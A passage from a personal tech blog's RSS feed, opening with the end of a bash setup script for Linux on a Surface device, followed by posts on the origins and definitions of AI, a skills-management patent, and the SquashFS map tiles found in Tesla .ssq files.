&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Installing marvell firmware...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir -p /lib/firmware/mrvl/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unzip -o firmware/mrvl&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware.zip -d /lib/firmware/mrvl/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;read&lt;/span&gt; -rp &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Do you want to set your clock to local time instead of UTC? This fixes issues when dual booting with Windows. (type yes or no) &amp;#34;&lt;/span&gt; uselocaltime;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$uselocaltime&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Setting clock to local time...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	timedatectl set-local-rtc &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	hwclock --systohc --localtime
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Not setting clock&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;read&lt;/span&gt; -rp &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Do you want this script to download and install the latest kernel for you? (type yes or no) &amp;#34;&lt;/span&gt; autoinstallkernel;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$autoinstallkernel&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Downloading latest kernel...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f4dbd6&#34;&gt;urls&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;curl --silent &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;https://api.github.com/repos/jakeday/linux-surface/releases/latest&amp;#34;&lt;/span&gt; | grep &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;browser\_download\_url&amp;#34;:&amp;#39;&lt;/span&gt; | sed -E &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;s/.\*&amp;#34;(\[^&amp;#34;\]+)&amp;#34;.\*/\\1/&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f4dbd6&#34;&gt;resp&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;wget -P tmp &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urls&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Installing latest kernel...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	dpkg -i tmp/&lt;span style=&#34;color:#8aadf4&#34;&gt;\*&lt;/span&gt;.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	rm -rf tmp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Not downloading latest kernel&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nAll done! Please reboot.&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Lastly, below are the things not working for me - none of these are deal breakers but something to be aware of.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cameras are not supported - either of the two.&lt;/li&gt;
&lt;li&gt;Dedicated GPU (if you have one). I was a little bummed out as I got the dedicated GPU for some of the #MachineLearning experimentation, but then this whole thing is a different type of experimentation, so am OK.&lt;/li&gt;
&lt;li&gt;Can control the volume using the speaker widget thing on the top right corner, but the volume buttons on top aren&amp;rsquo;t.&lt;/li&gt;
&lt;li&gt;Sleep / Hibernation - It has some issues and for now I have sleep disabled but have hibernation setup.&lt;/li&gt;
&lt;li&gt;Detaching the screen will immediately terminate everything and power off the machine (not a clean poweroff) - I am guessing it cannot transition between the two batteries of the base and the screen. However if already detached then it will work without any issues.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Happy hacking! 🖐️&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Roots of #AI</title>
      <link>/post/2018/11/roots-of-ai/</link>
      <pubDate>Mon, 12 Nov 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/11/roots-of-ai/</guid>
      <description>&lt;p&gt;The naming is unfortunate when talking about #AI. There isn&amp;rsquo;t anything about intelligence - not as we humans know of it. If we can rewind back to the 50&amp;rsquo;s we can perhaps rename it to something like Computational Intelligence, which is more accurate. And although I have outlined the difference between some of the &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2017/05/25/whats-the-difference-between-ai-ml-and-deeplearning/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		elements of AI in the past,
	&lt;/span&gt;
&lt;/a&gt; I wanted to get back to what the intent was and how this area started.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Can machines think?&lt;/strong&gt;
Some say, the origins of #AI go back to Turing and started with his paper &amp;ldquo;&lt;a
	
		href = &#34;https://www.csee.umbc.edu/courses/471/papers/turing.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Computing machinery and intelligence (PDF)
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo; when it was published in 1950.Whilst, Turing might have planed the seed, it was a program called &lt;a
	
		href = &#34;https://history-computer.com/ModernComputer/Software/LogicTheorist.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Logic Theorist
	&lt;/span&gt;
&lt;/a&gt; created Allen Newell, Cliff Shaw, and Herbert Simon which was the first #ArtificialIntelligence program. Of course it wasn&amp;rsquo;t called #AI then.&lt;/p&gt;
&lt;p&gt;That started back in 1956 when a Logic Theorist was presented at a conference in Dartmouth College called &amp;ldquo;&lt;a
	
		href = &#34;https://www.aaai.org/ojs/index.php/aimagazine/article/download/1904/1802&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dartmouth Summer Research Project on Artificial Intelligence (DSRPAI) (PDF)
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo;. The term &amp;ldquo;#AI&amp;rdquo; was coined at the conference.&lt;/p&gt;
&lt;p&gt;Since then, AI has had a roller coaster of a ride over the decades - from colder than hell (I presume) winters, to hotter than lava with it being everywhere. As someone said, time will heal all wounds.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/AI-timeline-2.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AI Timeline&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Today, many of us use #AI, #DeepLearning, and, #MachineLearning interchangeably. Over the course of last couple of years, I have learned to ignore that, but fundamentally the distinction is important.&lt;/p&gt;
&lt;p&gt;AI, we would say is more computational intelligence - allowing computers to do tasks that would be difficult for humans to do, certainly at scale. And these tasks are accomplished using different mechanisms and techniques, using &amp;ldquo;intelligent agents&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/WhatIsAI.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Machine learning is a subset of AI, where the program or algorithm can learn from previous outputs, and improve based on that data - hence the &amp;ldquo;learning&amp;rdquo; part. It is akin to it learning from experience, but isn&amp;rsquo;t the same thing as we humans can comprehend and understand. Some of us think, the program is rewriting itself, which technically isn&amp;rsquo;t an accurate description.&lt;/p&gt;
&lt;p&gt;Deep Learning is a set of techniques and algorithms of machine learning that are inspired from how the neurals in our brain connect together and work. These set of techniques are also called Neural Networks, and essentially are nothing but type of machine learning&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/NN_Diagram.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;For any of this AI &amp;ldquo;magic&amp;rdquo; to work, the one thing it needs to feed on is data. Without data, none of this would be possible. This data is classified into two categories - features and labels.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt; - these are aspects of whatever we are interested in. For example if we are interested in vehicles features could be the colour, make, and, model of the vehicle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Labels&lt;/strong&gt; - these are buckets of categories we put the things we are interested in. Using the same vehicles examples, we can have labels such as SUV, Sedan, Sports Car, Trucks, etc. that categorize vehicles.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One key principle to remember when it comes to #AI - all the outcomes that are described are in the terms of probabilities and not absolutes. All it suggests is the likelihood of something to happen, and most things &lt;strong&gt;&lt;em&gt;cannot&lt;/em&gt;&lt;/strong&gt; be predicted with total certainty. And this fundamental aspect one should remember when making decisions.&lt;/p&gt;
&lt;p&gt;There isn&amp;rsquo;t a universal definition of AI, which sometimes doesn&amp;rsquo;t help. Each has their own perception. I have gotten over it to come to their terms and ensure we are talking the same lingo and meaning. It doesn&amp;rsquo;t help to get academic about it. :)&lt;/p&gt;
&lt;p&gt;For example taking three leading analysts (Gartner, IDC, and Forrester) definition of AI (outlined below) is a good indicator on how this can get confusing.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gartner&lt;/strong&gt; - At its core, AI is about solving business problems in novel ways. It stretches across any organization from innovation, R&amp;amp;D and IT to data science.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IDC&lt;/strong&gt; defines cognitive/Artificial Intelligence (AI) systems as a set of technologies that use deep natural language processing and understanding to answer questions and provide recommendations and direction. IDC’s coverage of cognitive/AI systems examines:
&lt;ul&gt;
&lt;li&gt;Digital assistants&lt;/li&gt;
&lt;li&gt;Automated advisors&lt;/li&gt;
&lt;li&gt;Artificial intelligence, deep learning and machine learning&lt;/li&gt;
&lt;li&gt;Automated recommendation systems&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Forrester&lt;/strong&gt; defines AI as a liberatory technology at its core, and businesses that integrate it will free workers to become more innovative, creative, and adaptive than ever before. But these technologies are still in early stages.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And the field is just exploding now - not just with new research around #DeepLearning or #MachineLearning, but also net new aspects from a business perspectives; things like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Digital Ethics&lt;/li&gt;
&lt;li&gt;Conversational AI&lt;/li&gt;
&lt;li&gt;Democratization of AI&lt;/li&gt;
&lt;li&gt;Data Engineering (OK, not new, but certainly key)&lt;/li&gt;
&lt;li&gt;Model Management&lt;/li&gt;
&lt;li&gt;RPA (or #IntelligentAutomation)&lt;/li&gt;
&lt;li&gt;AI Strategy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is a new and exciting world that spans multiple spectrum. Don&amp;rsquo;t try and drink from the fire-hose, but take it in slowly, appreciate the nuances and what one brings value and discuss in terms of outcomes.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Computer - a male or female?</title>
      <link>/post/2018/10/computer-a-male-or-female/</link>
      <pubDate>Mon, 22 Oct 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/10/computer-a-male-or-female/</guid>
      <description>&lt;p&gt;So, both these arguments make sense. I can&amp;rsquo;t decide which one is accurate.&lt;/p&gt;


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;images/audio-2018-10-20-08-42-38.mp3&#34;
      title=&#34;&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    
  &lt;/figure&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Patent - Systems and methods for organizing and presenting skill progressions</title>
      <link>/post/2018/10/patent-systems-and-methods-for-organizing-and-presenting-skill-progressions/</link>
      <pubDate>Wed, 17 Oct 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/10/patent-systems-and-methods-for-organizing-and-presenting-skill-progressions/</guid>
      <description>&lt;p&gt;This has been a long time coming - our patent filed a about 4 years ago was finally awarded today by the USPTO. Some details below.&lt;/p&gt;
&lt;p&gt;United States &lt;a
	
		href = &#34;http://patft.uspto.gov/netacgi/nph-Parser?patentnumber=10102774&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Patent 10,102,774
	&lt;/span&gt;
&lt;/a&gt;&lt;br&gt;
Bahree , et al. October 16, 2018&lt;br&gt;
&lt;a
	
		href = &#34;https://patents.justia.com/patent/10102774&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Systems and methods for organizing and presenting skill progression
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In any organization, the skills collectively possessed by individuals of the organization can determine the capabilities of the organization as a whole. Previously, there was no centralized method or system for managing skills which are complex and wide-ranging. There was also no effective way for individuals to review skills they possess and to discover other skills which they can cross-train and leverage—either to enhance their existing roles and responsibilities, or possibly change skills and get involved with another area and thereby grow their career. The limited visualizations of skill sets offered to the individuals were static and non-interactive, which is not ideal.&lt;/p&gt;
&lt;p&gt;When organizations grow and begin hiring new technical employees, this tremendous influx of new resources and talent makes the overall skill set of the organization increasingly difficult to comprehend. The challenge gets increasingly difficult over time. Further, to allow such companies to both retain and attract talent such companies want to ensure that they can provide a clear path for employees to manage their careers and talent growth effectively. Such companies are also challenged to be able to efficiently allocate technical resources, and to visualize technical areas in which their current employees are strong, and areas in which their current employees need further training (or new employees need to be recruited) to help the company compete in the marketplace.&lt;/p&gt;
&lt;p&gt;This patent represents a subset of our work on cohesive systems, methods, and devices for presenting and managing interrelated sets of skills for a person. We used a map interface to represent a set of interrelated skills to a user, and which allows the user an opportunity to strategize regarding how best the related and advanced skills may be acquired to advance on a career path.&lt;/p&gt;
&lt;p&gt;The convergence of Tech Trends - in the past Mobility, Big Data, and Cloud (and today #DataScience, #ModernEngineering, #AI, #ML, and #Cloud) helps the creation of modern skills management systems. The solution at the heart of the patent is help address this and we deem to have wide applicability across industry domains, industry sectors, and vertical industry segments.&lt;/p&gt;
&lt;p&gt;Since filing the patent, and awarding today - elements of this we have adopted at &lt;a
	
		href = &#34;https://www.avanade.com/en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Avanade
	&lt;/span&gt;
&lt;/a&gt; and rolled it out globally to our workforce across 20 countries allowing them to help manage complex skills, advance career and help establish a 3D career path.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What is MVP?</title>
      <link>/post/2018/10/what-is-mvp/</link>
      <pubDate>Thu, 11 Oct 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/10/what-is-mvp/</guid>
      <description>&lt;p&gt;#MVP you ask? #EnoughSaid&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/dilbert_june_21_2016.gif&#34; alt=&#34;See the source image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Update on Tesla .ssq files</title>
      <link>/post/2018/10/update-on-tesla-ssq-files/</link>
      <pubDate>Tue, 09 Oct 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/10/update-on-tesla-ssq-files/</guid>
      <description>&lt;p&gt;Sometime back, I &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/09/13/tesla-ssq-file/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		noticed the car downloaded
	&lt;/span&gt;
&lt;/a&gt; a large file (5.1 GB) which was a .ssq file. I hadn&amp;rsquo;t heard of a ssq file, and was curious on what this was.&lt;/p&gt;
&lt;p&gt;I researched a little and as it turns out, a .ssq file is a compressed file system which is often used in an embedded Linux system, where storage size might be a area of concern. This file-system is called SquashFS, and is usually used on a read-only mode.&lt;/p&gt;
&lt;p&gt;SquashFS is interesting, as it lets one mount the file-system directly and is distributed as a kernel source patch - which makes it easy to daisy chain and use it other regular Linux tools.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.tldp.org/HOWTO/SquashFS-HOWTO/mksqoverview.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SquashFS tools
	&lt;/span&gt;
&lt;/a&gt; are useful to mount and create a SquashFS file-system. As shown below, I can mount the downloaded file, using &lt;em&gt;unsquashfs&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Capture2.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;unsquashfs to mount a SquashFS file-system&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I think it is &lt;a
	
		href = &#34;https://electrek.co/2017/07/03/tesla-map-navigation-open-source-platforms/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		known
	&lt;/span&gt;
&lt;/a&gt; that Tesla uses Valhalla for their maps and this file is the updated maps data. Valhalla, is a open source routing library which is using &lt;a
	
		href = &#34;https://www.openstreetmap.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OpenStreetMap
	&lt;/span&gt;
&lt;/a&gt;. Valhalla, also incorporates the &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Travelling_salesman_problem&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		traditional travelling salesman problem
	&lt;/span&gt;
&lt;/a&gt; which is a &lt;a
	
		href = &#34;http://artemis.cs.yale.edu/classes/cs460/Spring98/chap5/nondet.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		non-deterministic polynomial problem
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When extracted and mounted, we see the following directory structure; each of these folders (and files therein) are in fact the tiles that make up the maps (next time in the car, when you zoom in or out or search of a non-cached location, notice carefully on how it is loading and you can just about make out the tiles - it is quick and easy to miss). And it is these tiles that is used for routing as part of the navigation. &lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Capture3.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Tiled based routing is supposed to be beneficial - it uses less memory (the graph can be decomposed much easier, with a smaller set of it loaded in memory), cahce-able, easier to manage (update-able), etc. We can see a glimpse on how the routing and calculation happen on a tile basis below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/ezgif.com-optimize.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;tiles based routing&lt;/p&gt;
&lt;p&gt;When, extracted we see there are three levels of hierarchy (0, 1, and, 2). In the file-system these are shown as directories, but there is a method to the madness.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Level 0 - these contain edges pertaining to roads that are considered highway / freeway / motorway roads. These are stored as 4 degree tiles.&lt;/li&gt;
&lt;li&gt;Level 1 - contains roads that are at a arterial level and are saved in 1 degree tiles.&lt;/li&gt;
&lt;li&gt;Level 2 - these are local roads and are saved as 0.25 degree tiles.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, the world at Level 0 would look like what we are seeing in the image below. And Pennsylvania can be seen below that; Level 0 colored in light blue, Level 1 in light green, and finally Level 2 in light red (which might not be obvious with the translucency).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/world_level0.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;World Level 0 tiles&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/pennsylvania.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Pennsylvania Level 0, 1, and 2 tiles&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;So, to use this, one can use a few helper functions to get the exact tile to load and vice-versa. For example using the GPS coordinate of 41.413203, -73.623787 (which is just outside of &lt;a
	
		href = &#34;https://www.google.com/maps/place/41%C2%B024%2747.5%22N&amp;#43;73%C2%B037%2725.6%22W/@41.3764196,-73.663217,12z/data=!4m5!3m4!1s0x0:0x0!8m2!3d41.413203!4d-73.623787&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Brewster, NY
	&lt;/span&gt;
&lt;/a&gt;), loading Level 2 (via the get_title_2 function) would give us the structure of &lt;code&gt;/2/000/756/425.gph&lt;/code&gt; using which we know which tile to load.&lt;/p&gt;
&lt;p&gt;Helper function (in python) that help obtain levels, tile ids, tile lists, lat/long coordinates, etc. from an intersecting box.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
